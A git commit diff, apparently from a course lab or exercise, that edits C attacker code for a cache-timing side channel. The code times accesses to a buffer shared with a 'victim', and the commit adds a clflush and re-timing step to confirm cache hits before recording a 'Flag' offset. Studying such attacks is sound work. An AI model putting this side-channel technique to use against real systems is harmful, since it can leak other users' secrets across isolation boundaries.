part2 ver 0.6.0 double check
This commit is contained in:
parent
b071a46b79
commit
fb2a2ba698
|
@ -18,6 +18,7 @@ int main() {
|
||||||
int index = -1;
|
int index = -1;
|
||||||
int flag = -1;
|
int flag = -1;
|
||||||
CYCLES time = -1;
|
CYCLES time = -1;
|
||||||
|
CYCLES new_time = -1;
|
||||||
int offset = 0;
|
int offset = 0;
|
||||||
int new_offset = 0;
|
int new_offset = 0;
|
||||||
// buf is shared between the attacker and the victim
|
// buf is shared between the attacker and the victim
|
||||||
|
@ -38,11 +39,16 @@ int main() {
|
||||||
}
|
}
|
||||||
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
|
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
|
||||||
if(time < CACHE_HIT_THRESHOLD) {
|
if(time < CACHE_HIT_THRESHOLD) {
|
||||||
|
clflush((ADDR_PTR)buf + offset * 128);
|
||||||
|
for(int i = 0; i < WAIT_TIME; i++);
|
||||||
|
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
|
||||||
|
if(new_time < CACHE_HIT_THRESHOLD) {
|
||||||
flag = offset;
|
flag = offset;
|
||||||
index = i;
|
index = i;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
printf("Flag: %d\n", flag);
|
printf("Flag: %d\n", flag);
|
||||||
printf("Time: %d\n", time);
|
printf("Time: %d\n", time);
|
||||||
printf("Index: %d\n", index);
|
printf("Index: %d\n", index);
|
||||||
|
|
Loading…
Reference in New Issue